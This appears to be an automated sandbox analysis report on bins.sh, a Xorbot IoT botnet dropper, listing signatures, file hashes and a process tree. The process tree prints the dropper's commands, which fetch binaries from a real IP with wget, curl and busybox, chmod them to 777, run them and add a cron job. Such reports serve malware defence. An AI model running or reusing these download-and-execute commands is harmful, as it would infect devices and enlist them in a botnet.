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Analysis

  • max time kernel
    88s
  • max time network
    152s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    01/03/2025, 10:35

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    fcba5a159c1d4a387e0b6d819ab82b13

  • SHA1

    aa69a7ab7c5829823641342bec0e3ad9f6fed0eb

  • SHA256

    4e0b27339e784ecfec59332890bec0c7cd664b60416f61c9fef79d936e12d173

  • SHA512

    87a1081d1536779e44642d1951eca3e1ff3ba1fc4a333b5442c12b6fdb02b0bfff290503e160f6b95e20be6f7e007cbc9b331c7cf6ed0670cdb147c2f54b7d94

  • SSDEEP

    192:SKmamvfi3B3F3x3+3e3c04kJpga5k5M5uFpY9Hvva22jXv73Q1MA+L3LTLzm+3Hy:SKmamvfi3B3F3x3+3e3c04kJpgamCJ9R

Malware Config

Signatures

  • Detects Xorbot 8 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (1462) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 10 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 10 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 24 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:720
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:723
      • /usr/bin/wget
        wget http://37.44.238.92/bins/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
        2⤵
        • Writes file to tmp directory
        PID:726
      • /usr/bin/curl
        curl -O http://37.44.238.92/bins/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
        2⤵
        • Writes file to tmp directory
        PID:741
      • /bin/busybox
        /bin/busybox wget http://37.44.238.92/bins/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
        2⤵
        • Writes file to tmp directory
        PID:749
      • /bin/chmod
        chmod 777 tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
        2⤵
        • File and Directory Permissions Modification
        PID:750
      • /tmp/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
        ./tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
        2⤵
          PID:751
        • /bin/rm
          rm tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
          2⤵
            PID:753
          • /usr/bin/wget
            wget http://37.44.238.92/bins/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
            2⤵
            • Writes file to tmp directory
            PID:754
          • /usr/bin/curl
            curl -O http://37.44.238.92/bins/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
            2⤵
            • Writes file to tmp directory
            PID:755
          • /bin/busybox
            /bin/busybox wget http://37.44.238.92/bins/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
            2⤵
            • Writes file to tmp directory
            PID:756
          • /bin/chmod
            chmod 777 59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
            2⤵
            • File and Directory Permissions Modification
            PID:757
          • /tmp/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
            ./59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
            2⤵
              PID:758
            • /bin/rm
              rm 59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
              2⤵
                PID:760
              • /usr/bin/wget
                wget http://37.44.238.92/bins/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
                2⤵
                • Writes file to tmp directory
                PID:761
              • /usr/bin/curl
                curl -O http://37.44.238.92/bins/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
                2⤵
                • Writes file to tmp directory
                PID:762
              • /bin/busybox
                /bin/busybox wget http://37.44.238.92/bins/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
                2⤵
                • Writes file to tmp directory
                PID:765
              • /bin/chmod
                chmod 777 l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
                2⤵
                • File and Directory Permissions Modification
                PID:769
              • /tmp/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
                ./l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
                2⤵
                  PID:770
                • /bin/rm
                  rm l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
                  2⤵
                    PID:773
                  • /usr/bin/wget
                    wget http://37.44.238.92/bins/1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki
                    2⤵
                    • Writes file to tmp directory
                    PID:774
                  • /usr/bin/curl
                    curl -O http://37.44.238.92/bins/1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki
                    2⤵
                    • Reads runtime system information
                    • Writes file to tmp directory
                    PID:783
                  • /bin/busybox
                    /bin/busybox wget http://37.44.238.92/bins/1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki
                    2⤵
                    • Writes file to tmp directory
                    PID:792
                  • /bin/chmod
                    chmod 777 1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki
                    2⤵
                    • File and Directory Permissions Modification
                    PID:796
                  • /tmp/1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki
                    ./1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki
                    2⤵
                      PID:797
                    • /bin/rm
                      rm 1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki
                      2⤵
                        PID:800
                      • /usr/bin/wget
                        wget http://37.44.238.92/bins/z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:801
                      • /usr/bin/curl
                        curl -O http://37.44.238.92/bins/z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:811
                      • /bin/busybox
                        /bin/busybox wget http://37.44.238.92/bins/z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:821
                      • /bin/chmod
                        chmod 777 z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr
                        2⤵
                        • File and Directory Permissions Modification
                        PID:822
                      • /tmp/z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr
                        ./z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr
                        2⤵
                        • System Network Configuration Discovery
                        PID:823
                      • /bin/rm
                        rm z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr
                        2⤵
                        • System Network Configuration Discovery
                        PID:826
                      • /usr/bin/wget
                        wget http://37.44.238.92/bins/kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
                        2⤵
                        • Writes file to tmp directory
                        PID:827
                      • /usr/bin/curl
                        curl -O http://37.44.238.92/bins/kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
                        2⤵
                        • Writes file to tmp directory
                        PID:828
                      • /bin/busybox
                        /bin/busybox wget http://37.44.238.92/bins/kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
                        2⤵
                        • Writes file to tmp directory
                        PID:829
                      • /bin/chmod
                        chmod 777 kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
                        2⤵
                        • File and Directory Permissions Modification
                        PID:830
                      • /tmp/kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
                        ./kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
                        2⤵
                          PID:831
                        • /bin/rm
                          rm kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
                          2⤵
                            PID:833
                          • /usr/bin/wget
                            wget http://37.44.238.92/bins/MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA
                            2⤵
                            • Writes file to tmp directory
                            PID:834
                          • /usr/bin/curl
                            curl -O http://37.44.238.92/bins/MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA
                            2⤵
                            • Writes file to tmp directory
                            PID:835
                          • /bin/busybox
                            /bin/busybox wget http://37.44.238.92/bins/MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA
                            2⤵
                            • Writes file to tmp directory
                            PID:836
                          • /bin/chmod
                            chmod 777 MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA
                            2⤵
                            • File and Directory Permissions Modification
                            PID:837
                          • /tmp/MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA
                            ./MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA
                            2⤵
                            • Renames itself
                            • Reads runtime system information
                            PID:838
                            • /bin/sh
                              sh -c "crontab -l"
                              3⤵
                                PID:840
                                • /usr/bin/crontab
                                  crontab -l
                                  4⤵
                                    PID:841
                                • /bin/sh
                                  sh -c "crontab -"
                                  3⤵
                                    PID:844
                                    • /usr/bin/crontab
                                      crontab -
                                      4⤵
                                      • Creates/modifies Cron job
                                      PID:845
                                • /bin/rm
                                  rm MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA
                                  2⤵
                                    PID:855
                                  • /usr/bin/wget
                                    wget http://37.44.238.92/bins/y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q
                                    2⤵
                                      PID:860
                                    • /usr/bin/curl
                                      curl -O http://37.44.238.92/bins/y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q
                                      2⤵
                                        PID:946
                                      • /bin/busybox
                                        /bin/busybox wget http://37.44.238.92/bins/y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:949
                                      • /bin/chmod
                                        chmod 777 y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:953
                                      • /tmp/y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q
                                        ./y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q
                                        2⤵
                                          PID:954
                                        • /bin/rm
                                          rm y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q
                                          2⤵
                                            PID:958
                                          • /usr/bin/wget
                                            wget http://37.44.238.92/bins/wk7VTKwCVeEQJUdhBBXEYBpypx8AKzXuTR
                                            2⤵
                                              PID:959
                                            • /usr/bin/curl
                                              curl -O http://37.44.238.92/bins/wk7VTKwCVeEQJUdhBBXEYBpypx8AKzXuTR
                                              2⤵
                                                PID:962
                                              • /bin/busybox
                                                /bin/busybox wget http://37.44.238.92/bins/wk7VTKwCVeEQJUdhBBXEYBpypx8AKzXuTR
                                                2⤵
                                                • Writes file to tmp directory
                                                PID:971
                                              • /bin/chmod
                                                chmod 777 wk7VTKwCVeEQJUdhBBXEYBpypx8AKzXuTR
                                                2⤵
                                                • File and Directory Permissions Modification
                                                PID:976
                                              • /tmp/wk7VTKwCVeEQJUdhBBXEYBpypx8AKzXuTR
                                                ./wk7VTKwCVeEQJUdhBBXEYBpypx8AKzXuTR
                                                2⤵
                                                  PID:977
                                                • /bin/rm
                                                  rm wk7VTKwCVeEQJUdhBBXEYBpypx8AKzXuTR
                                                  2⤵
                                                    PID:980
                                                  • /usr/bin/wget
                                                    wget http://37.44.238.92/bins/MCWmH8qLGsVQZzvbYfRMovyxDSv25KlH75
                                                    2⤵
                                                      PID:981
                                                    • /usr/bin/curl
                                                      curl -O http://37.44.238.92/bins/MCWmH8qLGsVQZzvbYfRMovyxDSv25KlH75
                                                      2⤵
                                                        PID:984
                                                      • /bin/busybox
                                                        /bin/busybox wget http://37.44.238.92/bins/MCWmH8qLGsVQZzvbYfRMovyxDSv25KlH75
                                                        2⤵
                                                        • Writes file to tmp directory
                                                        PID:985
                                                      • /bin/chmod
                                                        chmod 777 MCWmH8qLGsVQZzvbYfRMovyxDSv25KlH75
                                                        2⤵
                                                        • File and Directory Permissions Modification
                                                        PID:986
                                                      • /tmp/MCWmH8qLGsVQZzvbYfRMovyxDSv25KlH75
                                                        ./MCWmH8qLGsVQZzvbYfRMovyxDSv25KlH75
                                                        2⤵
                                                          PID:987
                                                        • /bin/rm
                                                          rm MCWmH8qLGsVQZzvbYfRMovyxDSv25KlH75
                                                          2⤵
                                                            PID:989
                                                          • /usr/bin/wget
                                                            wget http://37.44.238.92/bins/j5pF2uRAfRIrxFbSnk6Wcqg8sFoHfAcw0f
                                                            2⤵
                                                              PID:990

                                                          Network

                                                          MITRE ATT&CK Enterprise v15

                                                          Replay Monitor

                                                          Loading Replay Monitor...

                                                          Downloads

                                                          • /tmp/1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki

                                                            Filesize

                                                            111KB

                                                            MD5

                                                            701e7a55a4f3650f5feee92a9860e5fc

                                                            SHA1

                                                            6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                                                            SHA256

                                                            ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                                                            SHA512

                                                            7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                                                          • /tmp/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv

                                                            Filesize

                                                            117KB

                                                            MD5

                                                            849fa04ef88a8e8de32cb2e8538de5fe

                                                            SHA1

                                                            c768af29fe4b6695fff1541623e8bbd1c6f242f7

                                                            SHA256

                                                            8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                                                            SHA512

                                                            2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                                                          • /tmp/MCWmH8qLGsVQZzvbYfRMovyxDSv25KlH75

                                                            Filesize

                                                            127KB

                                                            MD5

                                                            89077b7bd4bcafca7713be43635c4862

                                                            SHA1

                                                            fc02edb8fba29ea8ee99e6157ef8560334530052

                                                            SHA256

                                                            78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                                                            SHA512

                                                            1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                                                          • /tmp/MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA

                                                            Filesize

                                                            151KB

                                                            MD5

                                                            3c90d5820bddcf7c5d1bd21dfa49d958

                                                            SHA1

                                                            5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                                            SHA256

                                                            bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                                            SHA512

                                                            54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                                          • /tmp/kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX

                                                            Filesize

                                                            119KB

                                                            MD5

                                                            1b166b95f9cb4b079ef1b9ec8363ddf3

                                                            SHA1

                                                            0d8eb08add467b3b5474f9b25909297fe7c2839c

                                                            SHA256

                                                            94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                                                            SHA512

                                                            983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                                                          • /tmp/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E

                                                            Filesize

                                                            99KB

                                                            MD5

                                                            9438d9bc392bcf300a5583b6df5bc8f6

                                                            SHA1

                                                            375a6ae34b516f6f3eeea8030c4084f585017efa

                                                            SHA256

                                                            68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                                                            SHA512

                                                            1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                                                          • /tmp/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G

                                                            Filesize

                                                            107KB

                                                            MD5

                                                            eb9c3a0de91fcf16ba17cb24608df68c

                                                            SHA1

                                                            09d95a7d70d5e115d103be51edff7c498d272fac

                                                            SHA256

                                                            dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                                                            SHA512

                                                            9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                                                          • /tmp/wk7VTKwCVeEQJUdhBBXEYBpypx8AKzXuTR

                                                            Filesize

                                                            98KB

                                                            MD5

                                                            5141342d0df8699fa32a6b066a0c592e

                                                            SHA1

                                                            8157673225bd5182f16215e2aa823a25ca2d4fbc

                                                            SHA256

                                                            54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                                                            SHA512

                                                            d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                                                          • /tmp/y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q

                                                            Filesize

                                                            151KB

                                                            MD5

                                                            6c583043d91c55aa470c08c87058e917

                                                            SHA1

                                                            abf65a5b9bba69980278ad09356e53de8bb89439

                                                            SHA256

                                                            2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                                            SHA512

                                                            82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                                                          • /tmp/z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr

                                                            Filesize

                                                            141KB

                                                            MD5

                                                            3ca8decdb1e52c423c521bfff02ac200

                                                            SHA1

                                                            8621ecd6807109b8541912ad9e134f6fb49bfd48

                                                            SHA256

                                                            dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                                                            SHA512

                                                            b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                                                          • /var/spool/cron/crontabs/tmp.eBvzfr

                                                            Filesize

                                                            210B

                                                            MD5

                                                            37eebe4b2d794e1204196a895f1575f0

                                                            SHA1

                                                            6f8883751b5795f500ec9d625929e9c3e94fa7e4

                                                            SHA256

                                                            bf94eb16906987cdb7047f61cd9aaecb22e0da73fc7b3e81b466212aeda9c958

                                                            SHA512

                                                            545650508545bd88c4ba55806a97fa0085ae6573965404e1eb081e791f4190d48564fad1670a9c0aa4978d8cafa4969840e94882cb57f40066bf0d08bb0243aa